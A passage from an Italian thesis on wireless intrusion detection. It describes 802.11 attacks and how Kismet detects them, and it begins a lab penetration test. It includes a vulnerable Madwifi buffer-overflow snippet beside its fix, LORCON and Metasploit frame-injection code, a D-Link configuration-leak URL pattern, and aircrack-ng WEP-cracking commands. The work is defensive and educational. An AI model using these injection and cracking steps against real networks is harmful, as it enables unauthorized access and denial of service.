0.3.23 All your 802.11b are belong to us 46:6C:72:75
0.3.30 Una serie di spazi vuoti 20:20:20:20
Tabella 4.1: Payload caratteristici per identificare NetStumbler
Determinare una scansione e, percio, relativamente facile; ad esempio
4.2 Attacchi e contromisure 43
potremmo impiegare il seguente filtro per Wireshark/Ethereal, sostituendo
ad ASCII ID l’opportuna rappresentazione del payload in codice ASCII.
(wlan.fc.type_subtype eq 32) and
(llc.oui eq 0x00601D and llc.pid eq 0x0001) and
(data[4:4] eq ASCII_ID)
Disgraziatamente l’ultima versione di NetStumbler (0.4) e insensibile a questi
espedienti. Proponiamo pertanto una soluzione alternativa, attualmente
non implementata, basata sullo studio delle anomalie prodotte dagli scan-
ner attivi. Questi sistemi sono tipicamente utilizzati in movimento, gene-
ralmente in auto, e immettono continuamente traffico nelle reti senza mai
associarsi: un WIDS sufficientemente intelligente potrebbe collezionare le
coordinate GPS del sospetto e, analizzandone la variazione in due tempi t
e t + δt, derivarne la velocita di spostamento. Stabilita una soglia massima
abbiamo introdotto una semplice regola per discriminare un wardriver dai
clients legittimi. Tuttavia questa tecnica presuppone la capacita di localiz-
zare fisicamente gli intrusi, una tematica piuttosto complessa che tratteremo
in sez. 4.3.
4.2.2 MAC spoofing
Uno spoofing al livello data-link prevede, sostanzialmente, un’alterazione del
MAC address atta a mascherare la propria presenza nella rete. Sebbene
questa operazione sia sorprendentemente semplice su qualsiasi piattaforma,
verificare l’effettiva autenticita di un indirizzo e estremamente arduo e, piu
in generale, impossibile. Possiamo comunque individuare diversi pattern per
caratterizzare alcuni di questi attacchi.
In primo luogo osserviamo che non tutte le permutazioni di 48 bits for-
mano MAC address ammissibili in quanto i primi 3 bytes (OUI) identificano
univocamente un produttore o un rivenditore registrato presso la IEEE: al
44 Wireless IDS
momento (Dicembre 2007) solo 10.932 prefissi sono stati assegnati, in conse-
guenza ogni altra combinazione evidenzia inequivocabilmente la presenza di
uno spoofing. Questo accorgimento, considerato che la lista degli OUI e di
dominio pubblico, puo dissuadere solo soggetti molto inesperti.
Un metodo nettamente migliore, descritto in [32], e basato sull’analisi del
sequence number, un campo del protocollo 802.11 utilizzato come conta-
tore per ordinare il flusso dei frame. Controllandone la sequenza il sistema
puo identificare valori fuori scala, pertanto prodotti da una diversa fonte:
ad esempio se un sensore cattura la serie 1920-1921-232-1923 e altamente
probabile che il terzo pacchetto sia stato trasmesso da un intruso in fase di
spoofing. Questa tecnica e molto raffinata ma tuttavia infrangibile trami-
te alcuni driver con funzionalita avanzate di injection che alterano in modo
coerente il sequence number; in particolare, per i possessori di schede con
chipset Atheros o Prism54, raccomandiamo il progetto Raw FakeAP [33],
differente e preferibile al piu blasonato FakeAP.
Sebbene la soluzione precedente sia sufficientemente sofisticata e adatta
a rilevare la maggiore parte degli spoofing, tentiamo di definire qualche ul-
teriore regola per potenziare le capacita di riconoscimento del nostro WIDS.
Ad esempio [34] propone una strategia alternativa prevedendo confronti pe-
riodici tra i dati dei clients contenuti in un database locale e quelli ottenuti
tramite una scansione al livello IP: se sono riscontrate differenze troppo mar-
cate e generato un alert. In ogni caso questo procedimento, oltre a degradare
le performance della rete, obbliga a mantenere costantemente aggiornate le
informazioni del database.
Osservazioni piu utili possono essere nuovamente ricavate dalle coordi-
nate GPS dell’host. Ad esempio se la nostra policy di sicurezza disciplina
gli ambienti in cui e permesso il collegamento WLAN potremmo ritenere so-
spetti tutti gli hosts fuori dal perimetro virtuale precedentemente definito.
Questo, inoltre, consente una suddivisione della rete per aree di competenza
del personale, ad esempio identificando come spoofing l’utilizzo di un MAC
4.2 Attacchi e contromisure 45
address della sezione ricerca e sviluppo nel settore dedicato al reparto ven-
dite. Ulteriori valutazioni possono contemplare variazioni troppo accentuate
del TTL (Time-To-Live) o della potenza del segnale.
4.2.3 Rogue client
Un rogue client, letteralmente client canaglia, rappresenta un qualsiasi host
non appartenente alla nostra rete; tale definizione, pertanto, non include so-
lamente i possibili intrusi ma qualunque dispositivo wireless sia rilevato dai
sensori. Il problema e tipicamente gestito tramite l’utilizzo di due liste di
MAC address, known list e known but not ours list: la prima contiene
tutti i propri indirizzi legittimi, la seconda informa il sistema su eventuali
clients conosciuti ma non autorizzati, ad esempio perche rilevati dai senso-
ri ma appartenenti all’edificio vicino. Questi elenchi, ovviamente, devono
essere periodicamente aggiornati per riflettere le modifiche apportate alla
rete. Potremmo, viceversa, approntare una metodologia basata sull’analisi
delle anomalie presentate a seguire, focalizzandoci su injection, disassocia-
zioni e frame irregolari. Attualmente, tuttavia, non sussistono WIDS che
implementano efficaci controlli anomaly-based in ambiente wireless.
4.2.4 Rogue access point
Indubbiamente i rogue access point rappresentano la preoccupazione predo-
minante in un sistema WLAN. Tramite Evil-Twin (vd. sez. 4.1) abbiamo gia,
in parte, introdotto le immense potenzialita di questi attacchi che, di fatto,
sanciscono definitivamente l’abbandono della concezione classica di sicurez-
za tramite DMZ (vd. sez. 2.1). Se tramite Evil-Twin abbiamo evidenziato
possibili aggressioni agli utenti dall’esterno, ora illustriamo i rischi connessi
all’utilizzo improprio di access point all’interno della rete.
Commentiamo tramite un esempio la Figura 4.4. Un dipendente, incuran-
46 Wireless IDS
te della policy di sicurezza e senza comunicarlo all’amministratore, installa
un access point nella propria postazione di lavoro, connessa alla intranet lo-
cale. Nelle sue ingenue intenzioni, il dispositivo abilitera il fiammante iPod
touch appena acquistato a scaricare MP3 sfruttando la veloce rete azien-
dale; decisamente non e un gran lavoratore ma non e il suo rendimento a
tormentare il nostro sonno quanto, piuttosto, la disattenzione mostrata non
impostando o configurando malamente un qualsiasi protocollo di sicurezza.
Figura 4.4: Attacco alla rete interna
Il risultato di una singola azione sconsiderata ha compromesso l’intera
struttura: ora qualunque intruso puo liberamente entrare nella rete locale,
supposta sicura nella suddivisione DMZ, evitando tutti i sistemi di controllo
tradizionali quali firewall e IDS.
Al lettore attento non sara sfuggito un tragico particolare: nel nostro
esempio non e specificato che l’azienda possega una preesistente WLAN ma
solamente una generica rete cablata. In un solo momento abbiamo invalida-
to decenni di studi teorici e pratici in quanto adesso, a prescindere dal tipo
di rete, nessuno puo garantire un minimale livello di sicurezza senza adottare
4.2 Attacchi e contromisure 47
un WIDS. Come unica (scarsa) consolazione constatiamo che, collocando op-
portunamente i sensori, riconoscere e bloccare un rogue access point interno
e decisamente semplice; difatti, in modo simile ai rogue clients, e sufficiente
confrontarne il MAC address con un elenco di indirizzi autorizzati.
Al contrario individuare attacchi Evil-Twin o altri man in the middle
esterni (vd. sez. 1.4) presenta le difficolta esposte in sez. 4.1 e comporta,
sostanzialmente, una disposizione accurata e previdente dei sensori in tutte
le aree potenzialmente critiche. Inoltre e consigliabile eseguire un wardri-
ving nella zona circostante il proprio edificio e annotare in una lista “known
but not ours list” gli access point delle reti vicini. Cio evita la generazione
continua di alert ma, tuttavia, presenta un rilevante punto debole: un ag-
gressore che abbia compiuto un MAC spoofing con l’indirizzo di un vicino
probabilmente non sara soggetto a notifiche.
4.2.5 Denial-of-service
Gli attacchi DOS (vd. sez. 1.4) trovano nell’ambiente wireless un contesto
estremamente favorevole, tale da sviluppare queste minacce rendendole, in
generale, non prevenibili; concentriamo il nostro studio sulle tematiche piu
comuni.
Injection e flooding
Il modo piu semplice per causare un DOS e sicuramente un flood, una ge-
nerazione continua di frame tramite script di injection atta a saturare il
canale; in realta qualunque dispositivo produca un segnale nei pressi dei 2.4
GHz e sufficiente a disturbare e degradare il funzionamento di una WLAN e
cio e sostanzialmente inevitabile. In ogni caso, picchi improvvisi di traffico
delineano, probabilmente, un WEP cracking piuttosto che un tentativo di
DOS.
48 Wireless IDS
Associations flood [35] e un DOS decisamente piu interessante. Ogni
access point dispone le informazioni di associazione dei vari clients in un’area
di memoria chiamata association table sufficiente, secondo lo standard 802.11,
a contenerne un massimo di 2007; al contrario la reale dimensione dipende
fortemente dal particolare modello. In ogni caso, similarmente a un SYN
flood nello strato TCP (vd. sez. 2.1), un aggressore potrebbe inviare un
flood di frame association request per causare un overflow della tabella
o quantomeno per negare ulteriori associazioni agli host legittimi. Questo
attacco e prevenibile impostando un qualsiasi robusto protocollo di sicurezza
tipo TKIP o CCMP.
Disassociazione e deautenticazione
I DOS di disassociazione e deautenticazione sono, verosimilmente, i piu pe-
ricolosi e attuati in quanto propedeutici per attacchi successivi quali Evil-
Twin e WPA cracking. Impersonando l’access point, tramite MAC spoofing,
e possibili inviare ad un client disassociation frame e deauthentication
frame costringendolo, ad esempio, a ripetere l’hand-shake a quattro vie in
cui e scambiata la PTK necessaria alla fase di cracking. Un invio continuo e
alternato dei due frame, inoltre, previene per un tempo arbitrario la ricon-
nessione. Si osservi che il traffico e trasmesso unicamente all’host vittima,
ulteriore dimostrazione della necessita di collocare i sensori anche in settori
distanti dagli access point.
DOS avanzati: duration e power saving attack
Tipologie piu avanzate di DOS sono ottenibili sfruttando in modo anomalo
particolari caratteristiche dello standard 802.11. Prima di trasmettere, per
evitare sovrapposizioni di segnali, le stazioni riservano il canale tramite il
protocollo CSMA-CA (Carrier Sense Multiple Access - Collision Avoidan-
ce) specificando la durata, in millisecondi, in due bytes dell’header 802.11.
4.2 Attacchi e contromisure 49
Un duration attack [36], rappresentato in Figura 4.5, abusa di questa pe-
culiarita iniettando continuamente frame con alti valori di durata, negando
di fatto la comunicazione a tutti gli altri clients.
Figura 4.5: Duration attack
Un power saving attack, al contrario, approfitta delle specifiche 802.11
inerenti il risparmio energetico. Un host puo avvisare l’access point che
intende entrare in uno stato detto doze, a basso consumo; periodicamente,
tornando in modalita attiva, notifica tramite un PS-Poll frame la volonta di
ricevere i dati trasmessi nel periodo di doze e temporaneamente memorizzati
nell’access point. Un aggressore, utilizzando il MAC della vittima e inviando
un PS-Pool frame, potrebbe causare l’invio delle informazioni bufferizzate
negandone al client la ricezione al successivo risveglio.
Questi attacchi sono difficilmente identificabili con signatures predefinite
e, pertanto, dovrebbe essere affrontati con strategie anomaly-based. Os-
serviamo, comunque, che parte di essi potrebbe essere risolta a breve con
l’introduzione del nuovo standard 802.11w (vd. sez. 3.5).
50 Wireless IDS
4.2.6 Driver exploitation
Oggigiorno nessuno e piu sorpreso nel trovare in un qualsiasi programma
uno o piu problemi irrisolti. Tutti i software attualmente commercializzati
contengono svariati difetti che, solo in parte, saranno corretti durante l’arco
di vita utile del prodotto. In generale, ha perfino senso ipotizzare una legge
che colleghi complessita, quantita di codice e numero di errori presenti.
I driver di qualunque dispositivo, comprese le schede WLAN, non rap-
presentano certamente un’eccezione ma, al contrario, sono propensi a gravi
e cospicue vulnerabilita: tipicamente sono sviluppati in C o in Assembly,
spesso frettolosamente e senza essere sottoposti a rigide sessioni di testing.
Il problema e aggravato dall’esigenza di eseguire tale codice in kernel mo-
de, una imposizione comune a tutte le architetture pseudo-monolitiche e/o
ibride come i vari Windows, Linux, BSD e MAC OS X. Un exploit in questa
modalita, normalmente, scavalca tutti i classici meccanismi di sicurezza lo-
cale. I moderni access point, in aggiunta, sono frequentemente corredati con
comode interfacce web che ne facilitano l’installazione; tuttavia questi pic-
coli server web sono spesso configurati incautamente e non prevedono l’uso
di connessioni sicure SSL, trasformandoli, di fatto, in facili e ambite prede.
Per comprendere la diffusione di tali problematiche invitiamo compiere una
semplice ricerca su www.securityfocus.com.
Un WIDS robusto dovrebbe considerare la possibilita che access point
e sensori subiscano exploit atti ad alterarne il comportamento e prevede-
re periodicamente fasi di collaudo e revisione dell’hardware. Analizziamo,
supportandole con episodi reali, le principali metodologie di exploit.
Fuzzing testing/attack
Lo standard 802.11 e estremamente complesso. Le specifiche descrivono tre
diversi tipi di frame (gestione, controllo e dati), ognuno formato da una mol-
4.2 Attacchi e contromisure 51
titudine di campi spesso opzionali e con dimensione variabile; l’introduzione
delle successive estensioni, ad esempio 802.11i, e di funzionalita proprietarie
come le modalita SuperG hanno esasperato le implementazioni dei driver.
Chiunque abbia mai scritto un parser in C minimamente articolato com-
prende facilmente la probabilita che il codice presenti errori o imprecisioni
difficilmente individuabili. Un metodo alternativo all’analisi dei sorgenti tra-
mite debugger, impossibile nel caso di driver proprietari, e l’utilizzo di un
fuzzer. Un fuzzer [37] e un software per iniettare automaticamente dati
pseudocasuali in un programma, tentando di rilevarne i bugs. Sebbene nasca
come strumento per svolgere test, il suo utilizzo e evidentemente vantaggioso
anche per un aggressore intezionato a determinare e sfruttare le vulnerabilita
nascoste di access point e schede WLAN.
Un fuzzer rinomato per le sue capacita e Scapy. Scapy [39], in realta, e
un potente generatore multiprotocollo che permette, ad esempio, di plasma-
re e iniettare frame irregolari in maniera arbitraria o casuale. Utilizzando
le API fornite da Scapy e possibile manipolare praticamente ogni aspetto
dell’intero stack TCP/IP, combinando tra loro un’enorme varieta di attacchi
normalmente gestibili solo attraverso tools separati. In particolare una ca-
ratteristica molto apprezzata dai suoi utilizzatori e la funzione fuzz(), una
procedura che consente di specificare alcuni campi di un protocollo generando
casualmente i rimanenti.
In ambiente wireless la ricerca di vulnerabilita e focalizzata sui campi IE
(Information Element), in quanto opzionali e di dimensione variabile entro
un range prefissato: questo li rende candidati ideali a vari tipi di exploit,
soprattutto a buffer overflow (vd. sez. 1.4). Ad esempio le specifiche 802.11
prevedono un SSID di massimo 32 bytes, nonostante la struttura IE ne per-
metta sino a 256: violando lo standard otteniamo un long SSID, un’al-
terazione che abbiamo gia utilizzato in sez. 4.1.3 per veicolare gli attacchi
all’interfaccia WIDS. Un esempio concreto, descritto in [38], e un overflow
scoperto nella versione 0.9.2 dei driver Madwifi (chipset Atheros):
52 Wireless IDS
#de f i n e MAX IE LENGTH 64 ∗ 2 + 30
char buf [MAX IE LENGTH ] ;
. . .
memset(&iwe , 0 , s i z e o f ( iwe ) ) ;
memcpy( buf , se−>se wpa ie , se−>s e wpa i e [ 1 ] + 2) ;
. . .
Versione vulnerabile (0.9.2)
I lettori con una minima esperienza di linguaggio C noteranno imme-
diatamente l’errore: la seconda linea di codice copia un’area di memoria in
un buffer originariamente pensato per contenere un IE, cioe un massimo di
256 bytes (in realta in questa particolare porzione di codice il limite e 158);
nessun controllo previene un overflow in caso un utente malevolo inietti un
frame malformato con un IE di dimensione maggiore. Osserviamo la corre-
zione prontamente rilasciata dal team Madwifi solo 24 ore dopo la scoperta
del problema.
#de f i n e MAX IE LENGTH 64 ∗ 2 + 30
char buf [MAX IE LENGTH ] ;
. . .
memset(&iwe , 0 , s i z e o f ( iwe ) ) ;
i f ( ( se−>s e wpa i e [ 1 ] + 2) > MAX IE LENGTH)
return E2BIG ;
memcpy( buf , se−>se wpa ie , se−>s e wpa i e [ 1 ] + 2) ;
. . .
Versione corretta (0.9.3)
Un aggressore in possesso delle conoscenze necessarie ad attuare con
successo queste tecniche, tipicamente, genera e inietta traffico malformato
utilizzando software simili a Scapy. Tuttavia un’alternativa a basso livello
piu performante e disponibile tramite la libreria LORCON (Loss of Radio
CONnectivity) concepita da Jousha Wright e Mike Kershaw, lo sviluppato-
re di Kismet. LORCON [40] propone un ingegnoso framework di injection
4.2 Attacchi e contromisure 53
unificato per astrarre dalla particolare scheda WLAN; attualmente suppor-
ta numerosi driver Linux tra cui wlan-ng, bcm43xx, prism54, madwifing,
rt2570, rt2500, zd1211rw e molti altri. Un esempio di applicativo basato su
LORCON, liberamente tratto da [40], e il seguente:
#inc lude <tx80211 . h>
i n t main ( i n t argc , char ∗argv [ ] ) {tx80211 t tx ;
tx80211 packe t t txp ;
u i n t 8 t packet [ ] = ”\xc4\x00\ x f f \ x7f \x00
\x13\xce\x55\x98\ xe f ” ;
t x 8 0211 i n i t (&tx , INTERFACE,
tx80211 r e s o l v e ca rd (DRIVER NAME) ) ;
t x 8 0 2 1 1 g e t c a p ab i l i t i e s (&tx ) ;
tx80211 se t funct iona lmode (&tx ,
TX80211 FUNCMODE INJMON) ;
tx80211 open(&tx ) ;
t x80211 in i tpa cke t (&txp ) ;
txp . packet = packet ;
txp . packet = s i z e o f ( packet ) ;
i f ( tx80211 txpacket (&tx , &txp ) < txp . p len )
d i e (&tx ) ;
t x80211 c l o s e (&tx ) ;
r e turn 0 ;
}
Iniezione di traffico con LORCON
LORCON, in aggiunta, e perfettamente integrato in molti tools tra cui
Metasploit, Kismet e Etheral/Wireshark (tramite patch esterna). Ad esem-
pio utilizzando Metasploit, un framework per lo sviluppo e l’esecuzione di
exploit remoti, l’esempio precedente riscritto in Ruby diviene:
54 Wireless IDS
r e qu i r e ”Lorcon”
packet = [0 xc4 , 0 x00 , 0 x f f , 0 x7f , 0 x00 ,
0x13 , 0 xce , 0 x55 , 0 x98 , 0 xe f ] . pack ( ’C∗ ’ )
puts ” I n i t LORCON using w i f i 0 and madwifing d r i v e r ”
tx = Lorcon : : Device . new( ’ w i f i 0 ’ , ’ madwifing ’ , 1)
puts ”Changing channel to 11”
tx . channel = 11
# Send the frame 500 t imes wi th no in t e r−frame de lay
sa = Time . now . t o f
tx . wr i t e ( packet , 500 , 0)
ea = Time . now . t o f − sa
puts ”Sent 500 packets in #{ea . t o s } seconds ”
Utilizzare la libreria LORCON con Metasploit
Web based attack
Le interfacce degli access point, a causa delle fragili protezioni implementate,
sono uno dei bersagli preferiti dagli aggressori. Come caso di studio consi-
deriamo un D-Link DWL-2100AP, parte della rete utilizzata per le verifiche
sperimentali (vd. cap. 5). Una rapida ricerca [41] ha rilevato una vulnera-
bilita presente nei firmware precedenti la versione 2.10na ≤. In particolare,
una qualunque richiesta HTTP riconducibile al pattern /cgi-bin/*.cfg vi-
sualizza l’intera configurazione dell’access point, comprensiva di username e
password d’accesso e di chiavi WEP/WPA. Sfortunatamente il server web
integrato in questo dispositivo non e disattivabile e, inoltre, non supporta
connessioni SSL.
Sebbene l’aggiornamento alla versione 2.20 abbia risolto il problema,
permane tuttavia un senso di malumore e perplessita diffuso riguardo le
procedure di testing adottate dalle maggiori aziende del settore.
4.3 Il problema della localizzazione 55
4.3 Il problema della localizzazione
Nella sezione precedente abbiamo piu volte segnalato il desiderio di disporre
di un valido sistema di localizzazione fisica degli intrusi. A differenza de-
gli IDS tradizionali, in cui le informazioni piu rilevanti sono essenzialmente
gli indirizzi IP e MAC ed eventualmente i dati SNMP (Simple Network
Management Protocol), un WIDS affidabile non puo prescindere dalla co-
noscenza delle coordinate geografiche da cui proviene un attacco. Tuttavia
l’individuazione di un intruso, fondamentale per ridurre al minimo la finestra
d’esposizione alle aggressioni, e una tematica veramente complessa legata, in
primo luogo, alla tecnologia spread-spectrum adottata nelle comunicazioni
WLAN.
Senza focalizzarsi particolarmente sugli aspetti algoritmici, quasi tutte
le soluzioni coinvolgono un’analisi della potenza del segnale. In particolare,
in ambiente Linux, e possibile utilizzare iwspy, un programma per visua-
lizzare le statistiche della connessione wireless, altrimenti contenute nel file
/proc/net/wireless.
Figura 4.6: Localizzazione con antenne omnidirezionali
In ogni caso sono disponibili, in generale, due differenti approcci. Il primo,
56 Wireless IDS
descritto dettagliatamente in [42], impiega sensori dotati di antenne omni-
direzionali (vd. Figura 4.6). Tramite i teoremi della geometria elementare,
per identificare univocamente un punto sono necessarie almeno tre circonfe-
renze: un numero inferiore introduce incertezza sulla posizione effettiva del
sospetto.
Una seconda possibilita e adoperare antenne direzionali [43] (vd. Figu-
ra 4.7). Quest’ultime hanno il vantaggio di costare meno e offire guadagni piu
elevati, consentendo la copertura di zone piu vaste. Tuttavia la direzionalita
limita le probabilita di intercettazione, obbligando a prevedere sistemi moto-
rizzati, tipicamente onerosi, che permettano una rotazione completa di 360 ◦
attorno all’asse. Sebbene qualsiasi tipo di antenna direzionale (Yagi, Grid,
Dish, ecc...) sia teoricamente idonea, e consigliabile orientarsi sul medesimo
modello per tutti i sensori.
Figura 4.7: Localizzazione con antenne direzionali
Nonostante gli sforzi, si osservi la difficolta intrinseca nel definire una
funzione matematica che descriva l’attenuazione del segnale in una genene-
4.4 Kismet 57
rica situazione. Pertanto prima di implementare gli algoritmi, normalmente,
sono effettuate ripetute rilevazioni nei punti critici della struttura in diverse
condizioni ambientali. Svariati test mostrano errori nell’ordine dei 2-8 metri.
4.4 Kismet
Kismet e un progetto open-source rilasciato sotto licenza GPL, teoricamente
compilabile su qualsiasi piattaforma POSIX-compatibile. Sebbene sia inizial-
mente nato come strumento per il wardriving e lo sniffing di traffico IEEE
802.11 in modalita RFMON, implementa, a partire dalla seconda versione,
alcune caratteristiche proprie dei WIDS e, in particolare, supporta nativa-
mente l’idea di rete distribuita di sensori o, usando la terminologia di Kismet,
droni. Un drone e, essenzialmente, un sensore passivo il cui comportamen-
to e configurabile indipendentemente dai suoi simili. Alcuni, ad esempio,
potrebbero essere dedicati ad ascoltare solamente un determinato canale o
essere corredati con un dispositivo GPS, a prescindere dagli altri.
Figura 4.8: Wardriving con Kismet
58 Wireless IDS
Tutti i droni comunicano con un unico nodo centrale, il server Kismet, che
ha il compito di correlare le informazioni ed eventualmente generare gli alerts;
inoltre, se necessario, puo essere collegato in pipe ad un altro programma,
tipicamente un IDS per gli strati superiori (ad esempio Snort). Ogni aspet-
to della configurazione puo essere variato tramite tre soli files, kismet.conf,
kismet drone.conf e kismet ui.conf, contenuti in $KISMET/etc o
/etc/kismet a seconda che sia stato installato da sorgenti ($KISMET rap-
presenta la directory di installazione) o tramite un pacchetto precompilato.
Figura 4.9: Dettagli della rete
Per il suo funzionamento, Kismet necessita di un driver nativo RFMON;
per un elenco di dispositivi piu o meno compatibili si consiglia di consultare
la documentazione [27]. In particolare l’associazione con un drone avvie-
ne tramite il dummy driver kismet drone, specificando come interfaccia
dronehost:port nel file kismet.conf:
# kismet.conf - server configuration example
source=kismet_drone,192.168.1.20:58000,Drone1
source=kismet_drone,192.168.1.21:43226,Drone2
4.4 Kismet 59
......
In ogni drone, viceversa, si precisa nel file kismet drone.conf i driver e le
interfacce delle schede WLAN impiegate come sensori:
# kismet_drone.conf - drone configuration example
source=madwifi_g,wifi0,AtherosCard
Osserviamo che l’abilitazione della modalita RFMON e possibile solo de-
tenendo i diritti amministrativi, tipicamente privilegio esclusivo dell’utente
root. In realta Kismet, in fase di precompilazione, permette di attribure tale
capacita anche agli utenti normali. Tuttavia, per motivi di sicurezza, questa
pratica e sconsigliabile e, se realmente necessario, si dovrebbe considerare
l’utilizzo di sudo.
Utilizzato come WIDS, Kismet combina controlli basati sia su signatu-
res sia sull’analisi delle anomalie; l’elenco degli attacchi rilevabili, tratto
direttamente dalla documentazione, e riportato di seguito.
Tramite signatures:
1. NetStumbler (0.3.22, 3.23, 3.30) (OBSOLETO)
2. Lucent/Orinoco site survey software (OBSOLETO)
3. Wellenreiter (1.5, 1.6) (OBSOLETO)
4. Airjack (OBSOLETO)
5. Frame di disconnessione/deautenticazione in broadcast
6. Frame probe response con SSID di dimensione zero
7. SSID overflow exploit per driver Broadcom (Windows)
8. Long SSID, maggiore di 32 bytes
9. Overflow exploit tramite IE rate tag, driver D-Link (Windows)
10. Overflow exploit tramite IE rate tag, driver NetGear (Windows)
60 Wireless IDS
11. Frame di disassociazione/deautenticazione irregolari
Tramite analisi delle anomalie:
1. Flood di disassociazioni/deautenticazioni
2. Access point precedentemente rilevato, attivo su un diverso canale;
probabile Evil-Twin
3. Continue probe request senza associarsi
4. Trasmissione nei 10 secondi successivi a una disassociazione
5. BSS timestamps invalidi; probabile spoofing dell’access point
Figura 4.10: Alerts
Una nuova versione di Kismet e rilasciata, normalmente, ogni 6-8 mesi. Pa-
rallelamente, da alcuni anni, e in sviluppo una versione alternativa e ancora
incompleta, denominata Newcore, progettata e implementata totalmente
from scratch (da zero): la nuova struttura dovrebbe permettere migliori per-
formance, piu funzionalita e un supporto alla definizione di plugins esterni.
Quando giungera a maturazione sostituira la versione attuale.
Capitolo 5
Verifiche sperimentali
Nel capitolo precedente abbiamo constatato l’esigenza di adottare un Wire-
less IDS ovunque la sicurezza informatica sia percepita, saggiamente, come
una necessita. In conseguenza abbiamo presentando Kismet come l’unico va-
lido candidato open-source e, pertanto, concludiamo questo elaborato verifi-
candone sperimentalmente le capacita ed evidenziandone le carenze. In par-
ticolare, configurati gli strumenti, eseguiremo una serie di penetration test
su una rete WLAN preparata allo scopo e, successivamente, analizzeremo gli
eventuali alert generati in risposta.
5.1 Topologia della rete
Stabiliamo, in primo luogo, una topologia di rete adeguata alla nostra speri-
mentazione; la nostra scelta e illustrata in Figura 5.1, una WLAN minimale
in cui sono concentrati tutti gli aspetti principali descritti durante questa
ricerca. Innanzitutto possiamo osservare l’accorpamento dell’unico sensore
direttamente nel server WIDS, una soluzione giustificabile solamente dallo
scopo puramente didattico di questo sistema. Il server e l’intruso sono due
macchine sostanzialmente identiche, entrambe equipaggiate con sistema ope-
62 Verifiche sperimentali
rativo Debian GNU/Linux Sid e scheda WLAN OEM (chipset Atheros); i
due client, viceversa, adoperano Windows XP e rispettivamente una scheda
Netgear WG511v2 e una D-Link DWL-610.
Il router assegna dinamicamente, tramite DHCP, un indirizzo IP a qua-
lunque stazione sia autenticata dall’access point, un D-Link DWL-2100AP.
Negli attacchi che lo richiedono, il ruolo di rouge access point sara simulato
via software dall’intruso.
Figura 5.1: Topologia della rete utilizzata nei test
5.2 Configurazione degli strumenti
Procediamo a descrivere la configurazione del server WIDS e dell’intruso:
sebbene questa esposizione sia legata al particolare sistema GNU/Linux in-
stallato nelle nostre postazioni (Debian Sid), dovrebbe tuttavia essere analo-
5.2 Configurazione degli strumenti 63
gamente fruibile, con i dovuti accorgimenti, sia in distribuzioni derivate come
ad esempio Ubuntu sia in qualsiasi piattaforma con kernel 2.6.X.
In ogni caso, una comoda alternativa e rappresentata da Backtrack
(www.remote-exploit.org/backtrack.html), una distribuzione live corre-
data di tutti i software necessari ad impersonare entrambi i ruoli.
Il server
Il nostro server abbisogna unicamente di Kismet, la cui ultima versione e
attualmente presente nei repository di Sid; i fortunati utilizzatori di apt-get,
pertanto, concludono l’installazione semplicemente tramite:
apt−get i n s t a l l kismet
Una seconda opzione e sincronizzarsi con la versione in sviluppo nel trunk
svn. Questa procedura presuppone una preesistente installazione del tool
subversion e richiede una risoluzione manuale delle eventuali dipendenze
necessarie alla compilazione (vd. [27]):
svn co http :// svn . k i sme tw i r e l e s s . net / code/ trunk kismet
cd kismet
. / c on f i gu r e −−p r e f i x=/opt/ kismet
make dep && make & make i n s t a l l
Configuriamo sia il drone sia il server Kismet e, infine, attiviamoli:
echo ” source=kismet drone , 1 2 7 . 0 . 0 . 1 : 3 5 0 1 , Drone1” >>
/ e tc / kismet / kismet . conf
echo ” source=madwifi g , w i f i 0 , AtherosCard” >>
/ e tc / kismet / k ismet drone . conf
k i smet drone &
kismet
64 Verifiche sperimentali
L’intruso
Da alcuni anni i driver Linux madwifi, per schede WLAN con chipset Athe-
ros, sono considerati i migliori in assoluto in quanto integrano nativamente
un supporto all’injection tale da permettere un controllo praticamente totale
su ogni aspetto dei frame IEEE 802.11; in conseguenza il nostro intruso non
necessita di particolari preparazioni se non nella scelta dei tools.
Nel capitolo precedente abbiamo presentato alcuni framework per in-
jection a medio e/o basso livello (vd. 4.2.6), tuttavia in questa fase siamo
maggiormente interessati a testare le capacita di Kismet che a presenta-
re tecniche avanzate di attacco: pertanto utilizzeremo Aircrack-NG e, solo
marginalmente LORCON e Simple Injector (vd. sez. 5.3.4).
Aircrack (www.aircrack-ng.org) e una collezione di strumenti per age-
volare e automatizzare le operazioni di cracking per reti WEP e WPA-PSK
1&2; implementa tutti i piu comuni attacchi al protocollo WEP (compreso
PTW [18]) oltre ad alcune funzionalita per forzare i clients a ri-autenticarsi,
recuperando l’handshake contenente l’hash della chiave WPA. In realta, a
partire dall’ultima versione (1.0∼beta1), abilita parzialmente anche ad in-
jection arbitrari e molte altre carattestiche avanzate che non tratteremo in
quanto non pertinenti allo scopo di questo elaborato. Per eventuali appro-
fondimenti si consiglia la lettura dei vari tutorials presso [44].
Nei repository di Sid e disponibile l’ultima beta appena rilasciata; in
alternativa, in maniera similare a quanto avvenuto con Kismet, e possibile
compilare direttamente dal trunk svn.
apt−get i n s t a l l a i r c rak−ng
5.3 Penetration test 65
5.3 Penetration test
Valutare un sistema implica sottoporlo a delle verifiche sperimentali pertan-
to descriviamo una serie di penetration test per valutare l’utilizzo di Kismet
come Wireless IDS; in ogni caso precisiamo come le strategie d’attacco che
illustreremo rappresentino solamente alcune delle numerosissime varianti de-
scritte in letteratura e, sostanzialmente, la loro scelta deriva da un fattore di
gusto personale.
Innanzitutto proporremo il cracking sia di una chiave WEP sia di una
WPA-PSK (TKIP) per rimarcare quanto vane possano risultare tali prote-
zioni se implementate in maniera inadeguata.
5.3.1 WEP cracking
Abbiamo piu volte sottolineato come WEP, a prescindere dalla dimensione
e dalla robustezza della chiave, sia un protocollo talmente disastroso da non
garantire nessuna delle tre condizioni (confidentiality, integrity e availabili-
ty) espresse in sez. 1.1. Per dimostrare questa affermazione violeremo un
access point con cifratura WEP a 128 bit, il massimo consentito dallo stan-
dard originale, che usufruisce di una chiave estremamente resistente quale
?=V3ry:Str0ng. Nell’ambito della crittografia classica sarebbe improponibile
decifrare l’hash prodotto da tale chiave.
Il primo passo consiste nel porre in modalita RFMON la scheda WLAN,
operazione semplificata da airmon-ng, parte del pacchetto aircrack:
airmon−ng stop ath0
airmon−ng s t a r t w i f i 0
Il WEP cracking e incentrato sull’analisi dei pacchetti cifrati percio dovre-
mo abilitare lo sniffer airodump-ng; in particolare, per evitare di catturare
66 Verifiche sperimentali
pacchetti di altre reti per noi prive d’interesse, specifichiamo sia il canale (il
sesto, nel nostro caso) sia il BSSID dell’access point:
airodump−ng −c 6 −−bs s i d 00 : 1 7 : 9A: 7C: E3 : 1D −w data ath0
Per accellerare il processo ricorreremo ad un ARP injection in cui, sostan-
zialmente, forzeremo l’access point a trasmettere ripetutamente e rapidamen-
